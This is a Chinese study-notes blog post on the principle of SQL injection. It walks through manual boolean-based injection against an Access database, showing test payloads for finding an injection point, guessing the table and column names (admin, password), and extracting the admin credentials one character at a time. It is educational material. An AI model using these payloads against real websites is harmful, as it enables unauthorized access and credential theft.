#学习笔记#SQL注入原理——手工注入access数据库

15 篇文章 2 订阅
5 篇文章 0 订阅

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面查询的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的 字符串来传递,也会发生sql注入。
SQL注入可以协助攻击者登录数据库执行命令,有些会使账户获得更高的权限对数据库进行操作。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。
这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。

图片来自实验吧cookey老师授课的PPT
SQL注入漏洞的形成过程
常见注入过程
在了解SQL注入原理后,我看了cookey老师实验操作并自己动手来尝试。
第一步:判断网站是否存在注入点
在目标站点随便选择一个链接;
测试链接,在链接末尾添加

  • 【’】显示数据库出错
  • 【and 1=1】正常显示页面
  • 【and 1=2】显示与【’】相同的页面
    由此判断网站存在注入漏洞;
    第二步:猜解表名
    在链接末端添加语句【and exists(select*from admin)】,页面显示正常说明存在表名【admin】
    第三步:猜解列名
    在链接末端添加语句【and exists(select admin from admin)】页面显示正常则说明存在列名【admin】
    用同样的方法猜测其他列名。在链接末尾添加语句【and exists(select password from admin)】,页面显示正常说明存在列名【password】
    第四步:猜测字段内容
    在链接末尾输入语句【and (select top 1 len(admin) from admin)>1】,页面显示正常,数字依次加1,进行测试,如【and (select top 1 len(admin) from admin >5】,逐一判断,来确定admin列的长度。
    在链接末尾加上语句【and (select top 1 asc(mid(admin,1,1)) from admin)>97 】由此来猜解第一条记录的第一位字符的ASCll码为97,对应字母a,【and (select top 1 asc(mid(admin,2,1)) from admin)>100 】,依次可得到admin字段的内容为admin。
    用同样的方法可以推断password字段的内容。

参考:
https://www.cnblogs.com/sdya/p/4568548.html

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值